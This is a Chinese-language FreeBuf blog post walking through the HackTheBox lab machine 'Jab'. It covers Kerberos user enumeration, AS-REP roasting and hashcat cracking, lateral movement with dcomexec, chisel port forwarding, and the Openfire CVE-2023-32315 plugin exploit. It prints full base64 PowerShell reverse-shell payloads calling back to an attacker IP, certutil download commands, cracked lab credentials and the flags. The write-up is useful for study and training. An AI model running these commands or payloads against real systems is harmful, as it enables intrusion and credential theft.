freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规
报告 专辑
行业服务
政 府
CNCERT CNNVD
会员体系（甲方） 会员体系（厂商） 产品名录 企业空间
知识大陆

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines][Medium]Jab

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

[Meachines][Medium]Jab
maptnh 2024-04-27 04:18:40 68331

Main

$ nmap -p- 10.10.11.4 --min-rate 1000 -sV -sC

image.png

把里面的URL放到/etc/hosts里

10.10.11.4 DC01.jab.htb jab.htb

  • XMPP（Extensible Messaging and Presence Protocol 5269）是一种开放式的通信协议，用于实时通信，特别是即时消息传递（IM）。它最初被设计用于即时通讯系统，如聊天，但后来被广泛用于各种实时通信和协作场景，包括社交网络、物联网（IoT）、在线游戏和远程协作工具等。XMPP允许用户通过各种设备进行实时通信，包括计算机、智能手机和其他物联网设备。

image.png

在此之前我们需要下载Pidgin

安装聊天工具

$ sudo apt install pidgin

  • Pidgin是一款跨平台的即时通讯客户端软件，它支持多种即时通讯协议，包括XMPP、AIM、ICQ、Google Talk、MSN、IRC等。Pidgin的目标是提供一个统一的界面，让用户可以同时连接多个即时通讯网络，而无需安装每个网络的单独客户端。

然后准备开始爆破Kerberos用户

  • Kerberos是一种网络身份验证协议，用于在不安全的网络环境中安全地验证用户身份。它最初由麻省理工学院开发，旨在提供计算机网络的安全性。Kerberos使用对称密钥加密技术，通过票据交换的方式来验证用户的身份，以及在用户和网络服务之间建立安全通信。

$ pidgin

image.png

点击Add添加,协议改成XMPP

image.png

来到Advanced页面,将靶机IP写入

image.png

最后Add添加

Accept同意

image.png

再次点击Modify进行修改,输入密码后勾选创建用户复选框,保存

image.png

双击用户后,填写注册信息

image.png

image.png

image.png

枚举聊天用户-方法1

$ sudo apt install golang-go
$ wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
$ chmod 777 kerbrute_linux_amd64
$ ./kerbrute_linux_amd64

image.png

$ ./kerbrute_linux_amd64 userenum --dc dc01.jab.htb -d jab.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o recore.log

没有这个字典的·apt install seclists·就好了

image.png

$ grep -oP '\S+(?=@jab\.htb)' recore.log | sort | uniq >User.txt

枚举聊天用户-方法2

$ sudo pidgin -d >recore.log

这里如果没有Search for Users,大概率是upn掉线了

Accounts->name@jab.htb->Search for Users->Search Directory->Advanced User Search(我们将表达式写成*)

image.png

image.png

$ grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' recore.log | sed 's/@jab.htb//g' | sort | uniq >User.txt

image.png

爆破聊天用户哈希密码

$ git clone https://github.com/fortra/impacket.git
$ cd impacket
$ sudo python3 setup.py install
$ GetNPUsers.py

$ GetNPUsers.py jab.htb/ -usersfile User.txt -format hashcat -outputfile hashes

image.png

  • GetNPUsers 工具利用了 Kerberos 中的漏洞来获取有效用户的哈希，工作原理如下：

  • 用户不存在预授权（AS-REP）攻击：工具首先识别目标域中的“无预授权”用户，这些用户在域中没有预授权（Pre-Authentication）设置。然后，工具利用这些用户的特性向目标域控制器发送 TGT 请求，但是不提供用户的预授权数据。由于这些用户未启用预授权，域控制器会返回 TGT 票据，这样工具就能够获取到 TGT 票据的哈希值。

  • 利用哈希值：获取到的哈希值可以通过破解或者进一步的攻击用于获取目标系统的访问权限。通常情况下，哈希值可以被破解为明文密码，然后可以使用这些密码进一步在目标系统上执行各种操作。

image.png

$ hashcat --force -m 18200 hashes /usr/share/wordlists/rockyou.txt

image.png

username:jmontgomery
password:Midnight_121

来到pidgin将用户添加进去

image.png

image.png

成功登录
Buddies->AddChat->RoomList->Find Rooms->
image.png
进入该聊天AddChat

image.png

从历史聊天中找到域服务器特权用户的账户密码,利用dcomexec
username:svc_openfire
password:!@#$%^&*(1qazxsw

  • dcomexec.py 脚本使用了 DCOM 协议来执行命令，可以利用该协议在目标系统上执行远程命令。在这个特定的命令中，svc_openfire 用户的凭据被用来建立远程连接，并在目标系统上实例化 COM 对象以执行指定的命令。

  • DCOM（Distributed Component Object Model）是一种微软用于远程对象通信的技术，它允许分布式系统中的对象进行通信和交互。DCOM 协议建立在 COM（Component Object Model）之上，通过网络传输数据和控制信息，使得远程系统可以调用和执行远程对象的方法。

  • DCOM 协议之所以能够执行命令，主要是因为它允许在远程系统上实例化 COM 对象，并通过这些对象来执行本地系统上的操作。在远程系统上实例化 COM 对象后，可以调用对象的方法来执行各种任务，包括执行命令、读取文件、修改注册表等。因此，攻击者可以利用 DCOM 协议来执行远程命令，从而在目标系统上执行恶意操作。

https://www.revshells.com/
用powershell #3 (base64)

$ dcomexec.py -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAzACIALAAxADAAMAAzADIAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA' -silentcommand

image.png

大概18秒后会反弹一个shell

image.png

User Flag

PS C:\windows\system32> type c:\Users\svc_openfire\Desktop\user.txt

image.png

157af72bc853083562ace527d2a1c16f

Root Flag

PS C:\windows\system32> netstat -ant | findstr LISTENING

找开放的端口

image.png

C:\windows\system32> certutil.exe -urlcache -f http://127.0.0.1:9090

9090端口上开放了一个本地的web服务

image.png

我们需要使用chisel来进行映射端口到我们的攻击端访问

https://github.com/jpillora/chisel/releases/tag/v1.9.1

下载chisel_1.9.1_windows_arm64.gz
和chisel_1.9.1_linux_arm64.gz

$ wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_windows_amd64.gz

$ wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz

$ gzip -d chisel_1.9.1_windows_amd64.gz

$ gzip -d chisel_1.9.1_linux_amd64.gz

$ chmod 777 chisel_1.9.1_linux_amd64

$ mv chisel_1.9.1_windows_amd64 chisel_1.9.1_windows_amd64.exe

$ sudo python3 -m http.server 80

开启服务端让客户端下载chisel_1.9.1_windows_amd64.exe

PS C:\windows\system32>cd C:\Users\svc_openfire\Desktop

PS C:\Users\svc_openfire\Desktop>certutil.exe -urlcache -f http://10.10.16.23/chisel_1.9.1_windows_amd64.exe chisel.exe

image.png

在kali端设置映射服务端

$ ./chisel_1.9.1_linux_amd64 server --port 9088 --reverse

image.png

客户端进行映射

PS C:\Users\svc_openfire\Desktop> .\chisel.exe client 10.10.16.23:9088 R:9090:127.0.0.1:9090

image.png

image.png

我们在kali访问http://localhost:9090

image.png

在这个页面我们使用之前的账户密码登录

image.png

通过漏洞库搜索,存在CVE-2023-32315

image.png

$ git clone https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass.git
$ cd CVE-2023-32315-Openfire-Bypass
$ sudo apt install maven
$ mvn clean package

将org.jivesoftware.openfire.plugin.CVE-openfire-plugin-assembly.jar包在插件页面进行上传

image.png

image.png

来到Server->Server Settings->Shell Plugin

image.png

image.png

密码123

转到系统命令

image.png

image.png

https://www.revshells.com/

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAzACIALAAxADAAMAAzADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

image.png

image.png

07c41b2d1d2936af484acbc6b6c564af

# 黑客 # 网络安全 # web安全 # 数据安全 # CTF
免责声明
1.一般免责声明：本文所提供的技术信息仅供参考，不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》，作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明：文中技术内容可能不适用于所有情况或系统，在实际应用前请充分测试和评估。若因使用不当造成的任何问题，相关方不承担责任。
3. 更新声明：技术发展迅速，文章内容可能存在滞后性。读者需自行判断信息的时效性，因依据过时内容产生的后果，作者及发布平台不承担责任。
本文为 maptnh 独立观点，未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
被以下专辑收录，发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
HackTheBox
相关推荐
[Meachines][Medium]Monitored 原创
[Meachines][Medium]Monitored

Web安全

#Nagios #SQLI #Snmpwalk #npcd #nagiosxi

maptnh

61379围观 2024-04-29

M87 原创
M87

其他

信息收集端口号服务版本22ssh80httpApache httpd 2.4.38 ((Debian))9090ssl/zeus-admin...

D3caDent

36884围观 2024-04-28

73% 中小企业安全人员容易错过或忽略关键安全警报
73% 中小企业安全人员容易错过或忽略关键安全警报

资讯

很多中小型企业和中型企业正面临着越来越多、越来越复杂的网络攻击威胁。更糟糕的是，很多公司缺乏足够的网络安全防御资源和专业知识。

小王斯基

87750围观  · 6喜欢 2024-04-28

渗透实训 | 记一次后台多处对文件上传的WAF绕过 原创
渗透实训 | 记一次后台多处对文件上传的WAF绕过

Web安全

fuzz测试寻找路径+waf绕过文件上传分享学习。

月金剑客

138277围观  · 9收藏  · 14喜欢 2024-04-28

HACK THE BOX HTB - Season 5 Week 1 Runner Writeup 原创
HACK THE BOX HTB - Season 5 Week 1 Runner Writeup

攻防演练

Runner是Hack the Box 第五赛季的第一个题目

A1ertx5s

129704围观  · 11喜欢 2024-04-28

maptnh LV.9
Ценность жизни выше, чем кража данных.
  • 344 文章数
  • 65 关注者
[CISSP] [9] 安全漏洞,威胁和对策
2025-04-09
[CISSP] [8] 安全模型,设计和能力的原则
2025-04-09
[CISSP] [7] PKI和密码应用
2025-04-03
文章目录
安装聊天工具
    枚举聊天用户-方法1
      枚举聊天用户-方法2
        爆破聊天用户哈希密码